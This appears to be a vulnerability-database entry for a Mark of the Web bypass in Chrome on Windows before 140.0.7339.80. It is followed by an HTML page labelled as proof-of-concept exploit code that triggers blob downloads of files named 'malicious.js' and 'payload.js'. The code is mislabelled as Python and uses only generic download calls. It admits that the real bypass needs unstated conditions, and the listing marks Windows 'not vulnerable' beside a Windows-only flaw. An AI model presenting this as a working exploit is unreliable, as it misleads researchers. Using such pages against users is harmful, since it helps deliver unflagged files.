Inappropriate implementation in Downloads in Google Chrome on Windows prior to 140.0.7339.80 allowed a remote attacker to bypass Mark of the Web via a crafted HTML page. (Chromium security severity: Low)
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 140.0.7339.80 (Windows)
Chromium-based browsers (similar implementations)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-12905 PoC - Mark of the Web Bypass -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2025-12905 PoC</title>
</head>
<body>
<h1>CVE-2025-12905 MotW Bypass PoC</h1>
<p>This is a demonstration of the Mark of the Web bypass vulnerability.</p>
<script>
// Crafted download mechanism that may bypass MotW
function triggerDownload() {
// Create a blob with executable content
const maliciousContent = 'alert("This file should have MotW but may not");';
const blob = new Blob([maliciousContent], { type: 'application/javascript' });
const url = URL.createObjectURL(blob);
// Create download link with specific attributes
const a = document.createElement('a');
a.href = url;
a.download = 'malicious.js';
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
}
// Alternative method using fetch API
function downloadWithFetch() {
const content = '// malicious code\nconsole.log("MotW bypassed");';
fetch('data:application/octet-stream;base64,' + btoa(content), {
mode: 'no-cors'
}).then(response => response.blob())
.then(blob => {
const url = URL.createObjectURL(blob);
const link = document.createElement('a');
link.href = url;
link.download = 'payload.js';
link.click();
});
}
</script>
<button onclick="triggerDownload()">Download File (Method 1)</button>
<button onclick="downloadWithFetch()">Download File (Method 2)</button>
<p><strong>Note:</strong> This PoC demonstrates the download mechanism. The actual bypass requires specific conditions.</p>
</body>
</html>